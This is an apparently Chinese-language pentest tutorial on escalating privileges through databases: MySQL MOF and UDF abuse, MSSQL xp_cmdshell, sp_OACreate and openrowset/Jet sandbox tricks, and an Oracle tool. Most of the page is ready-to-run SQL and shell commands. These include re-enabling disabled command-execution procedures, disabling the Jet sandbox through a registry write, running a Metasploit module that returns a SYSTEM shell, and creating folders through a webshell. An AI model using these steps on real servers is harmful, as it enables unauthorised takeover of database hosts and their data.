• #">数据库提权 #
    • #">MySQL数据库提权 #
    • #">UDF提权 #
    • #">MSSQL数据库提权 #
    • #">Oracle提权 #

    数据库提权 #

    MySQL数据库提权 #

    MOF提权
    MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)
    叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡
    利用条件:

    Windows<=2003 mysql在c:/windows/system32/wbem/mof目录有写权限 已知数据库root账号密码 数据库允许外连 secure_file_priv为空

    secure_file_priv的值没有具体值时,表示不对MySQL的导入|导出做限制,如果是null,表示MySQL不允许导入导出

    1. #查看secure_file_priv的值
    2. SHOW VARIABLES LIKE "secure_file_priv";
    3. #这个值可以在my.ini设置为空
    4. secure_file_priv =

    提权原理:

    MOF文件既然每五秒就会执行,而且是系统权限; 我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件; 然后系统每隔五秒就会执行一次我们上传的MOF。 MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

    这个提权方式条件非常严苛,数据库在system32写文件这个条件一般很难达到,而且较新的系统无法使用MOF提权。
    MSF 下有Mof 提权模块
    执行成功后会直接反弹一个 system权限的meterpreter 。

    use exploit/windows/mysql/mysql_mof
    

    UDF提权 #

    UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数
    用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为.dll
    利用条件:

    Server 2003、Windows XP、Windows 7 已知mysql中root的账号密码 mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/ mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\ secure_file_priv为空

    提权原理:

    利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库) 当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。 这样我们自定义的函数才被当作本机函数执行。 在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而提权

    可以直接查询插件安装目录:

    show variables like %plugin%
    

    如果plugin不存在,可以用NTFS ADS流来创建文件夹并导入dll

    #先找到Mysql的目录select @@basedir;#利用ADS流来创建plugin文件夹(测试并不能成功创建)select 'It is dll' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
    

    网上流传的是在数据库中直接就能利用ADS流创建plugin文件夹,但我测试发现直接导入文件可以,并不能创建文件夹。
    但是利用ADS流确实能创建文件夹,如以下命令(可以自己测试一下)

    echo 123 > test::$INDEX_ALLOCATION
    #这条命令会创建一个test文件夹
    

    所以我是用Webshell这样创建的plugin文件夹:

    echo 123 > C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION
    

    有一个自动化工具https://github.com/T3st0r-Git/HackMySQL

    #上边的创建plugin目录步骤完成后直接利用即可
    python root.py -a 192.168.2.9 -proot -e "whoami"
    

    通过WebShell上传udf.php(这种方法数据库不用外连也可以)
    udf.php:https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php

    MSSQL数据库提权 #

    首先查看权限

    --是否sa权限,返回 1 就是sa
    select IS_SRVROLEMEMBER('sysadmin')
    --是否dba权限,返回 1 就是DBA
    select IS_MEMBER('db_owner')
    

    一、xp_cmdshell

    适用(xp\2000\2003系统) 前提是MSSQL是以system用户运行的,才能提权; 如果用nt authority\network service运行,是没有系统权限的。

    默认情况下是关闭的,用下边的命令开启

    EXEC sp_configure 'show advanced options', 1; --允许修改高级参数
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; --打开xp_cmdshell扩展
    RECONFIGURE;
    

    如果xp_cmdshell被删除,可以尝试上传xplog70.dll https://fix4dll.com/xplog70_dll 进行恢复,恢复语句:

    Exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\\xplog70.dll';
    

    然后执行命令

    exec xp_cmdshell 'whoami';
    

    二、SP_OACreate

    适用(xp\2000\2003系统)

    当xp_cmdshell 删除以后,还可以使用SP_OACreate
    首先要打开组件:

    --开启EXEC
    sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'Ole Automation Procedures', 1;
    RECONFIGURE;
    --关闭EXEC
    sp_configure 'show advanced options', 0;
    RECONFIGURE;
    EXEC sp_configure 'Ole Automation Procedures', 0;
    RECONFIGURE;
    

    之后使用以下语句执行命令:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
    

    这种方式是无回显的,打开1.txt查看命令执行结果

    type c:\\1.txt
    

    三、openrowset沙盒

    (2003系统可用、2012-r2实验失败)

    首先检查cmd_shell是否开启

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    --结果为 1 就是开启
    

    第二步 开启默认关闭的xp_regwrite存储过程

    --开启
    EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\Microsoft\Jet\4.0\Engines' ,'SandBoxMode' ,'REG_DWORD' ,0;
    EXEC sp_configure 'show advanced options', 1
    GO
    RECONFIGURE
    GO
    EXEC sp_configure 'Ad Hoc Distributed Queries', 1
    GO
    RECONFIGURE
    GO
    --利用完后恢复
    EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
    EXEC sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
    EXEC sp_configure 'show advanced options',0;reconfigure;
    

    利用jet.oledb执行系统命令

    select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c whoami > c:\\666.txt")')
    

    这个也是无回显的
    沙盒模式SandBoxMode参数含义(默认是2)

    0:在任何所有者中禁止启用安全模式 1 :为仅在允许范围内 2 :必须在access模式下 3:完全开启

    openrowset是可以通过OLE DB访问SQL Server数据库
    OLE DB是应用程序链接到SQL Server的的驱动程序

    Oracle提权 #

    利用OracleShell.jar (opens new window)工具